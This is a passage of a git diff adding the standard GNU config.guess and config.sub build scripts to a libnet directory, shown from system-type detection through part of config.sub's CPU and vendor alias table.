"x86"; then + UNAME_PROCESSOR=i386 + UNAME_MACHINE=pc + fi + echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} + exit 0 ;; + *:QNX:*:4*) + echo i386-pc-qnx + exit 0 ;; + NSR-?:NONSTOP_KERNEL:*:*) + echo nsr-tandem-nsk${UNAME_RELEASE} + exit 0 ;; + *:NonStop-UX:*:*) + echo mips-compaq-nonstopux + exit 0 ;; + BS2000:POSIX*:*:*) + echo bs2000-siemens-sysv + exit 0 ;; + DS/*:UNIX_System_V:*:*) + echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} + exit 0 ;; + *:Plan9:*:*) + # "uname -m" is not consistent, so use $cputype instead. 386 + # is converted to i386 for consistency with other x86 + # operating systems. + if test "$cputype" = "386"; then + UNAME_MACHINE=i386 + else + UNAME_MACHINE="$cputype" + fi + echo ${UNAME_MACHINE}-unknown-plan9 + exit 0 ;; + *:TOPS-10:*:*) + echo pdp10-unknown-tops10 + exit 0 ;; + *:TENEX:*:*) + echo pdp10-unknown-tenex + exit 0 ;; + KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) + echo pdp10-dec-tops20 + exit 0 ;; + XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) + echo pdp10-xkl-tops20 + exit 0 ;; + *:TOPS-20:*:*) + echo pdp10-unknown-tops20 + exit 0 ;; + *:ITS:*:*) + echo pdp10-unknown-its + exit 0 ;; + SEI:*:*:SEIUX) + echo mips-sei-seiux${UNAME_RELEASE} + exit 0 ;; + *:DragonFly:*:*) + echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` + exit 0 ;; + *:*VMS:*:*) + UNAME_MACHINE=`(uname -p) 2>/dev/null` + case "${UNAME_MACHINE}" in + A*) echo alpha-dec-vms && exit 0 ;; + I*) echo ia64-dec-vms && exit 0 ;; + V*) echo vax-dec-vms && exit 0 ;; + esac +esac + +#echo '(No uname command or uname output not recognized.)' 1>&2 +#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 + +eval $set_cc_for_build +cat >$dummy.c <<EOF +#ifdef _SEQUENT_ +# include <sys/types.h> +# include <sys/utsname.h> +#endif +main () +{ +#if defined (sony) +#if defined (MIPSEB) + /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, + I don't know.... */ + printf ("mips-sony-bsd\n"); exit (0); +#else +#include <sys/param.h> + printf ("m68k-sony-newsos%s\n", +#ifdef NEWSOS4 + "4" +#else + "" +#endif + ); exit (0); +#endif +#endif + +#if defined (__arm) && defined (__acorn) && defined (__unix) + printf ("arm-acorn-riscix"); exit (0); +#endif + +#if defined (hp300) && !defined (hpux) + printf ("m68k-hp-bsd\n"); exit (0); +#endif + +#if defined (NeXT) +#if !defined (__ARCHITECTURE__) +#define __ARCHITECTURE__ "m68k" +#endif + int version; + version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; + if (version < 4) + printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); + else + printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); + exit (0); +#endif + +#if defined (MULTIMAX) || defined (n16) +#if defined (UMAXV) + printf ("ns32k-encore-sysv\n"); exit (0); +#else +#if defined (CMU) + printf ("ns32k-encore-mach\n"); exit (0); +#else + printf ("ns32k-encore-bsd\n"); exit (0); +#endif +#endif +#endif + +#if defined (__386BSD__) + printf ("i386-pc-bsd\n"); exit (0); +#endif + +#if defined (sequent) +#if defined (i386) + printf ("i386-sequent-dynix\n"); exit (0); +#endif +#if defined (ns32000) + printf ("ns32k-sequent-dynix\n"); exit (0); +#endif +#endif + +#if defined (_SEQUENT_) + struct utsname un; + + uname(&un); + + if (strncmp(un.version, "V2", 2) == 0) { + printf ("i386-sequent-ptx2\n"); exit (0); + } + if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ + printf ("i386-sequent-ptx1\n"); exit (0); + } + printf ("i386-sequent-ptx\n"); exit (0); + +#endif + +#if defined (vax) +# if !defined (ultrix) +# include <sys/param.h> +# if defined (BSD) +# if BSD == 43 + printf ("vax-dec-bsd4.3\n"); exit (0); +# else +# if BSD == 199006 + printf ("vax-dec-bsd4.3reno\n"); exit (0); +# else + printf ("vax-dec-bsd\n"); exit (0); +# endif +# endif +# else + printf ("vax-dec-bsd\n"); exit (0); +# endif +# else + printf ("vax-dec-ultrix\n"); exit (0); +# endif +#endif + +#if defined (alliant) && defined (i860) + printf ("i860-alliant-bsd\n"); exit (0); +#endif + + exit (1); +} +EOF + +$CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && $dummy && exit 0 + +# Apollos put the system type in the environment. + +test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } + +# Convex versions that predate uname can use getsysinfo(1) + +if [ -x /usr/convex/getsysinfo ] +then + case `getsysinfo -f cpu_type` in + c1*) + echo c1-convex-bsd + exit 0 ;; + c2*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + c34*) + echo c34-convex-bsd + exit 0 ;; + c38*) + echo c38-convex-bsd + exit 0 ;; + c4*) + echo c4-convex-bsd + exit 0 ;; + esac +fi + +cat >&2 <<EOF +$0: unable to guess system type + +This script, last modified $timestamp, has failed to recognize +the operating system you are using. It is advised that you +download the most up to date version of the config scripts from + + ftp://ftp.gnu.org/pub/gnu/config/ + +If the version you run ($0) is already up to date, please +send the following data and any information you think might be +pertinent to <config-patches@gnu.org> in order to provide the needed +information to handle your system. + +config.guess timestamp = $timestamp + +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null` + +hostinfo = `(hostinfo) 2>/dev/null` +/bin/universe = `(/bin/universe) 2>/dev/null` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` +/bin/arch = `(/bin/arch) 2>/dev/null` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` + +UNAME_MACHINE = ${UNAME_MACHINE} +UNAME_RELEASE = ${UNAME_RELEASE} +UNAME_SYSTEM = ${UNAME_SYSTEM} +UNAME_VERSION = ${UNAME_VERSION} +EOF + +exit 1 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/libnet/config.sub b/libnet/config.sub new file mode 100755 index 0000000..ac6de98 --- /dev/null +++ b/libnet/config.sub @@ -0,0 +1,1552 @@ +#! /bin/sh +# Configuration validation subroutine script. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, +# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. + +timestamp='2004-06-24' + +# This file is (in principle) common to ALL GNU software. +# The presence of a machine in this file suggests that SOME GNU software +# can handle that machine. It does not imply ALL GNU software can. +# +# This file is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, +# Boston, MA 02111-1307, USA. + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Please send patches to <config-patches@gnu.org>. Submit a context +# diff and a properly formatted ChangeLog entry. +# +# Configuration subroutine to validate and canonicalize a configuration type. +# Supply the specified configuration type as an argument. +# If it is invalid, we print an error message on stderr and exit with code 1. +# Otherwise, we print the canonical config type on stdout and succeed. + +# This file is supposed to be the same for all GNU packages +# and recognize all the CPU types, system types and aliases +# that are meaningful with *any* GNU software. +# Each package is responsible for reporting which valid configurations +# it does not support. The user should be able to distinguish +# a failure to support a valid configuration from a meaningless +# configuration. + +# The goal of this file is to map all the various variations of a given +# machine specification into a single specification in the form: +# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM +# or in some cases, the newer four-part form: +# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM +# It is wrong to echo any other type of specification. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] CPU-MFR-OPSYS + $0 [OPTION] ALIAS + +Canonicalize a configuration name. + +Operation modes: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to <config-patches@gnu.org>." + +version="\ +GNU config.sub ($timestamp) + +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 +Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit 0 ;; + --version | -v ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" + exit 1 ;; + + *local*) + # First pass through any local machine types. + echo $1 + exit 0;; + + * ) + break ;; + esac +done + +case $# in + 0) echo "$me: missing argument$help" >&2 + exit 1;; + 1) ;; + *) echo "$me: too many arguments$help" >&2 + exit 1;; +esac + +# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). +# Here we must recognize all the valid KERNEL-OS combinations. +maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` +case $maybe_os in + nto-qnx* | linux-gnu* | linux-dietlibc | linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | \ + kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | storm-chaos* | os2-emx* | rtmk-nova*) + os=-$maybe_os + basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` + ;; + *) + basic_machine=`echo $1 | sed 's/-[^-]*$//'` + if [ $basic_machine != $1 ] + then os=`echo $1 | sed 's/.*-/-/'` + else os=; fi + ;; +esac + +### Let's recognize common machines as not being operating systems so +### that things like config.sub decstation-3100 work. We also +### recognize some manufacturers as not being operating systems, so we +### can provide default operating systems below. +case $os in + -sun*os*) + # Prevent following clause from handling this invalid input. + ;; + -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ + -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ + -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ + -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ + -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ + -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ + -apple | -axis | -knuth | -cray) + os= + basic_machine=$1 + ;; + -sim | -cisco | -oki | -wec | -winbond) + os= + basic_machine=$1 + ;; + -scout) + ;; + -wrs) + os=-vxworks + basic_machine=$1 + ;; + -chorusos*) + os=-chorusos + basic_machine=$1 + ;; + -chorusrdb) + os=-chorusrdb + basic_machine=$1 + ;; + -hiux*) + os=-hiuxwe2 + ;; + -sco5) + os=-sco3.2v5 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco4) + os=-sco3.2v4 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2.[4-9]*) + os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2v[4-9]*) + # Don't forget version if it is 3.2v4 or newer. + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco*) + os=-sco3.2v2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -udk*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -isc) + os=-isc2.2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -clix*) + basic_machine=clipper-intergraph + ;; + -isc*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -lynx*) + os=-lynxos + ;; + -ptx*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` + ;; + -windowsnt*) + os=`echo $os | sed -e 's/windowsnt/winnt/'` + ;; + -psos*) + os=-psos + ;; + -mint | -mint[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; +esac + +# Decode aliases for certain CPU-COMPANY combinations. +case $basic_machine in + # Recognize the basic CPU types without company name. + # Some are omitted here because they have special meanings below. + 1750a | 580 \ + | a29k \ + | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ + | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ + | am33_2.0 \ + | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ + | c4x | clipper \ + | d10v | d30v | dlx | dsp16xx \ + | fr30 | frv \ + | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ + | i370 | i860 | i960 | ia64 \ + | ip2k | iq2000 \ + | m32r | m32rle | m68000 | m68k | m88k | mcore \ + | mips | mipsbe | mipseb | mipsel | mipsle \ + | mips16 \ + | mips64 | mips64el \ + | mips64vr | mips64vrel \ + | mips64orion | mips64orionel \ + | mips64vr4100 | mips64vr4100el \ + | mips64vr4300 | mips64vr4300el \ + | mips64vr5000 | mips64vr5000el \ + | mipsisa32 | mipsisa32el \ + | mipsisa32r2 | mipsisa32r2el \ + | mipsisa64 | mipsisa64el \ + | mipsisa64r2 | mipsisa64r2el \ + | mipsisa64sb1 | mipsisa64sb1el \ + | mipsisa64sr71k | mipsisa64sr71kel \ + | mipstx39 | mipstx39el \ + | mn10200 | mn10300 \ + | msp430 \ + | ns16k | ns32k \ + | openrisc | or32 \ + | pdp10 | pdp11 | pj | pjl \ + | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ + | pyramid \ + | sh | sh[1234] | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ + | sh64 | sh64le \ + | sparc | sparc64 | sparc86x | sparclet | sparclite | sparcv8 | sparcv9 | sparcv9b \ + | strongarm \ + | tahoe | thumb | tic4x | tic80 | tron \ + | v850 | v850e \ + | we32k \ + | x86 | xscale | xstormy16 | xtensa \ + | z8k) + basic_machine=$basic_machine-unknown + ;; + m6811 | m68hc11 | m6812 | m68hc12) + # Motorola 68HC11/12. + basic_machine=$basic_machine-unknown + os=-none + ;; + m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) + ;; + + # We use `pc' rather than `unknown' + # because (1) that's what they normally are, and + # (2) the word "unknown" tends to confuse beginning users. + i*86 | x86_64) + basic_machine=$basic_machine-pc + ;; + # Object if more than one company name word. + *-*-*) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; + # Recognize the basic CPU types with company name. + 580-* \ + | a29k-* \ + | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ + | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ + | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ + | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ + | avr-* \ + | bs2000-* \ + | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ + | clipper-* | craynv-* | cydra-* \ + | d10v-* | d30v-* | dlx-* \ + | elxsi-* \ + | f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \ + | h8300-* | h8500-* \ + | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ + | i*86-* | i860-* | i960-* | ia64-* \ + | ip2k-* | iq2000-* \ + | m32r-* | m32rle-* \ + | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ + | m88110-* | m88k-* | mcore-* \ + | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ + | mips16-* \ + | mips64-* | mips64el-* \ + | mips64vr-* | mips64vrel-* \ + | mips64orion-* | mips64orionel-* \ + | mips64vr4100-* | mips64vr4100el-* \ + | mips64vr4300-* | mips64vr4300el-* \ + | mips64vr5000-* | mips64vr5000el-* \ + | mipsisa32-* | mipsisa32el-* \ + | mipsisa32r2-* | mipsisa32r2el-* \ + | mipsisa64-* | mipsisa64el-* \ + | mipsisa64r2-* | mipsisa64r2el-* \ + | mipsisa64sb1-* | mipsisa64sb1el-* \ + | mipsisa64sr71k-* | mipsisa64sr71kel-* \ + | mipstx39-* | mipstx39el-* \ + | mmix-* \ + | msp430-* \ + | none-* | np1-* | ns16k-* | ns32k-* \ + | orion-* \ + | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ + | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ + | pyramid-* \ + | romp-* | rs6000-* \ + | sh-* | sh[1234]-* | sh[23]e-* | sh[34]eb-* | shbe-* \ + | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ + | sparc-* | sparc64-* | sparc86x-* | sparclet-* | sparclite-* \ + | sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ + | tahoe-* | thumb-* \ + | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ + | tron-* \ + | v850-* | v850e-* | vax-* \ + | we32k-* \ + | x86-* | x86_64-* | xps100-* | xscale-* | xstormy16-* \ + | xtensa-* \ + | ymp-* \ + | z8k-*) + ;; + # Recognize the various machine names and aliases which stand + # for a CPU type and a company and sometimes even an OS. + 386bsd) + basic_machine=i386-unknown + os=-bsd + ;; + 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) + basic_machine=m68000-att + ;; + 3b*) + basic_machine=we32k-att + ;; + a29khif) + basic_machine=a29k-amd + os=-udi + ;; + abacus) + basic_machine=abacus-unknown + ;; + adobe68k) + basic_machine=m68010-adobe + os=-scout + ;; + alliant | fx80) + basic_machine=fx80-alliant + ;; + altos | altos3068) + basic_machine=m68k-altos + ;; + am29k) + basic_machine=a29k-none + os=-bsd + ;; + amd64) + basic_machine=x86_64-pc + ;; + amd64-*) + basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + amdahl) + basic_machine=580-amdahl + os=-sysv + ;; + amiga | amiga-*) + basic_machine=m68k-unknown + ;; + amigaos | amigados) + basic_machine=m68k-unknown + os=-amigaos + ;; + amigaunix | amix) + basic_machine=m68k-unknown + os=-sysv4 + ;; + apollo68) + basic_machine=m68k-apollo + os=-sysv + ;; + apollo68bsd) + basic_machine=m68k-apollo + os=-bsd + ;; + aux) + basic_machine=m68k-apple + os=-aux + ;; + balance) + basic_machine=ns32k-sequent + os=-dynix + ;; + c90) + basic_machine=c90-cray + os=-unicos + ;; + convex-c1) + basic_machine=c1-convex + os=-bsd + ;; + convex-c2) + basic_machine=c2-convex + os=-bsd + ;; + convex-c32) + basic_machine=c32-convex + os=-bsd + ;; + convex-c34) + basic_machine=c34-convex + os=-bsd + ;; + convex-c38) + basic_machine=c38-convex + os=-bsd + ;; + cray | j90) + basic_machine=j90-cray + os=-unicos + ;; + craynv) + basic_machine=craynv-cray + os=-unicosmp + ;; + cr16c) + basic_machine=cr16c-unknown + os=-elf + ;; + crds | unos) + basic_machine=m68k-crds + ;; + cris | cris-* | etrax*) + basic_machine=cris-axis + ;; + crx) + basic_machine=crx-unknown + os=-elf + ;; + da30 | da30-*) + basic_machine=m68k-da30 + ;; + decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) + basic_machine=mips-dec + ;; + decsystem10* | dec10*) + basic_machine=pdp10-dec + os=-tops10 + ;; + decsystem20* | dec20*) + basic_machine=pdp10-dec + os=-tops20 + ;; + delta | 3300 | motorola-3300 | motorola-delta \ + | 3300-motorola | delta-motorola) + basic_machine=m68k-motorola + ;; + delta88) + basic_machine=m88k-motorola + os=-sysv3 + ;; + dpx20 | dpx20-*) + basic_machine=rs6000-bull + os=-bosx + ;; + dpx2* | dpx2*-bull) + basic_machine=m68k-bull + os=-sysv3 + ;; + ebmon29k) + basic_machine=a29k-amd + os=-ebmon + ;; + elxsi) + basic_machine=elxsi-elxsi + os=-bsd + ;; + encore | umax | mmax) + basic_machine=ns32k-encore + ;; + es1800 | OSE68k | ose68k | ose | OSE) + basic_machine=m68k-ericsson + os=-ose + ;; + fx2800) + basic_machine=i860-alliant + ;; + genix) + basic_machine=ns32k-ns + ;; + gmicro) + basic_machine=tron-gmicro + os=-sysv + ;; + go32) + basic_machine=i386-pc + os=-go32 + ;; + h3050r* | hiux*) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + h8300hms) + basic_machine=h8300-hitachi + os=-hms + ;; + h8300xray) + basic_machine=h8300-hitachi + os=-xray + ;; + h8500hms) + basic_machine=h8500-hitachi + os=-hms + ;; + harris) + basic_machine=m88k-harris + os=-sysv3 + ;; + hp300-*) + basic_machine=m68k-hp + ;; + hp300bsd) + basic_machine=m68k-hp + os=-bsd + ;; + hp300hpux) + basic_machine=m68k-hp + os=-hpux + ;; + hp3k9[0-9][0-9] | hp9[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k2[0-9][0-9] | hp9k31[0-9]) + basic_machine=m68000-hp + ;; + hp9k3[2-9][0-9]) + basic_machine=m68k-hp + ;; + hp9k6[0-9][0-9] | hp6[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k7[0-79][0-9] | hp7[0-79][0-9]) + basic_machine=hppa1.1-hp + ;; + hp9k78[0-9] | hp78[0-9]) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][13679] | hp8[0-9][13679]) + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][0-9] | hp8[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hppa-next) + os=-nextstep3 + ;; + hppaosf) + basic_machine=hppa1.1-hp + os=-osf + ;; + hppro) + basic_machine=hppa1.1-hp + os=-proelf + ;; + i370-ibm* | ibm*) + basic_machine=i370-ibm + ;; +# I'm not sure what "Sysv32" means. Should this be sysv3.2? + i*86v32) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv32 + ;; + i*86v4*) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv4 + ;; + i*86v) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv + ;; + i*86sol2) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-solaris2 + ;; + i386mach) + basic_machine=i386-mach + os=-mach + ;; + i386-vsta | vsta) + basic_machine=i386-unknown + os=-vsta + ;; + iris | iris4d) + basic_machine=mips-sgi + case $os in + -irix*) + ;; + *) + os=-irix4 + ;; + esac + ;; + isi68 | isi) + basic_machine=m68k-isi + os=-sysv + ;; + m88k-omron*) + basic_machine=m88k-omron + ;; + magnum | m3230) + basic_machine=mips-mips + os=-sysv + ;; + merlin) + basic_machine=ns32k-utek + os=-sysv + ;; + mingw32) + basic_machine=i386-pc + os=-mingw32 + ;; + miniframe) + basic_machine=m68000-convergent + ;; + *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; + mips3*-*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` + ;; + mips3*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown + ;; + monitor) + basic_machine=m68k-rom68k + os=-coff + ;; + morphos) + basic_machine=powerpc-unknown + os=-morphos + ;; + msdos) + basic_machine=i386-pc + os=-msdos + ;; + mvs) + basic_machine=i370-ibm + os=-mvs + ;; + ncr3000) + basic_machine=i486-ncr + os=-sysv4 + ;; + netbsd386) + basic_machine=i386-unknown + os=-netbsd + ;; + netwinder) + basic_machine=armv4l-rebel + os=-linux + ;; + news | news700 | news800 | news900) + basic_machine=m68k-sony + os=-newsos + ;; + news1000) + basic_machine=m68030-sony + os=-newsos + ;; + news-3600 | risc-news) + basic_machine=mips-sony + os=-newsos + ;; + necv70) + basic_machine=v70-nec + os=-sysv + ;; + next | m*-next ) + basic_machine=m68k-next + case $os in + -nextstep* ) + ;; + -ns2*) + os=-nextstep2 + ;; + *) + os=-nextstep3 + ;; + esac + ;; + nh3000) + basic_machine=m68k-harris + os=-cxux + ;; + nh[45]000) + basic_machine=m88k-harris + os=-cxux + ;; + nindy960) + basic_machine=i960-intel + os=-nindy + ;; + mon960) + basic_machine=i960-intel + os=-mon960 + ;; + nonstopux) + basic_machine=mips-compaq + os=-nonstopux + ;; + np1) + basic_machine=np1-gould + ;; + nsr-tandem) + basic_machine=nsr-tandem + ;; + op50n-* | op60c-*) + basic_machine=hppa1.1-oki + os=-proelf + ;; + or32 | or32-*) + basic_machine=or32-unknown + os=-coff + ;; + os400) + basic_machine=powerpc-ibm + os=-os400 + ;; + OSE68000 | ose68000) + basic_machine=m68000-ericsson + os=-ose + ;; + os68k) + basic_machine=m68k-none + os=-os68k + ;; + pa-hitachi) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + paragon) + basic_machine=i860-intel + os=-osf + ;; + pbd) + basic_machine=sparc-tti + ;; + pbb) + basic_machine=m68k-tti + ;; + pc532 | pc532-*) + basic_machine=ns32k-pc532 + ;; + pentium | p5 | k5 | k6 | nexgen | viac3) + basic_machine=i586-pc + ;; + pentiumpro | p6 | 6x86 | athlon | athlon_*) + basic_machine=i686-pc + ;; + pentiumii | pentium2 | pentiumiii | pentium3) + basic_machine=i686-pc + ;; + pentium4) + basic_machine=i786-pc + ;; + pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) + basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumpro-* | p6-* | 6x86-* | athlon-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentium4-*) + basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pn) + basic_machine=pn-gould + ;; + power) basic_machine=power-ibm + ;; + ppc) basic_machine=powerpc-unknown + ;; + ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppcle | powerpclittle | ppc-le | powerpc-little) + basic_machine=powerpcle-unknown + ;; + ppcle-* | powerpclittle-*) + basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppc64) basic_machine=powerpc64-unknown + ;; + ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppc64le | powerpc64little | ppc64-le | powerpc64-little) + basic_machine=powerpc64le-unknown + ;; + ppc64le-* | powerpc64little-*) + basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ps2) + basic_machine=i386-ibm + ;; + pw32) + basic_machine=i586-unknown + os=-pw32 + ;; + rom68k) + basic_machine=m68k-rom68k + os=-coff + ;; + rm[46]00) + basic_machine=mips-siemens + ;; + rtpc | rtpc-*) + basic_machine=romp-ibm + ;; + s390 | s390-*) + basic_machine=s390-ibm + ;; + s390x | s390x-*) + basic_machine=s390x-ibm + ;; + sa29200) + basic_machine=a29k-amd + os=-udi + ;; + sb1) + basic_machine=mipsisa64sb1-unknown + ;; + sb1el) + basic_machine=mipsisa64sb1el-unknown + ;; + sei) + basic_machine=mips-sei + os=-seiux + ;; + sequent) + basic_machine=i386-sequent + ;; + sh) + basic_machine=sh-hitachi + os=-hms + ;; + sh64) + basic_machine=sh64-unknown + ;; + sparclite-wrs | simso-wrs) + basic_machine=sparclite-wrs + os=-vxworks + ;; + sps7) + basic_machine=m68k-bull + os=-sysv2 + ;; + spur) + basic_machine=spur-unknown + ;; + st2000) + basic_machine=m68k-tandem + ;; + stratus) + basic_machine=i860-stratus + os=-sysv4 + ;; + sun2) + basic_machine=m68000-sun + ;; + sun2os3) + basic_machine=m68000-sun + os=-sunos3 + ;; + sun2os4) + basic_machine=m68000-sun + os=-sunos4 + ;; + sun3os3) + basic_machine=m68k-sun + os=-sunos3 + ;; + sun3os4) + basic_machine=m68k-sun + os=-sunos4 + ;; + sun4os3) + basic_machine=sparc-sun + os=-sunos3 + ;; + sun4os4) + basic_machine=sparc-sun + os=-sunos4 + ;; + sun4sol2) + basic_machine=sparc-sun + os=-solaris2 + ;; + sun3 | sun3-*) + basic_machine=m68k-sun + ;; + sun4) + 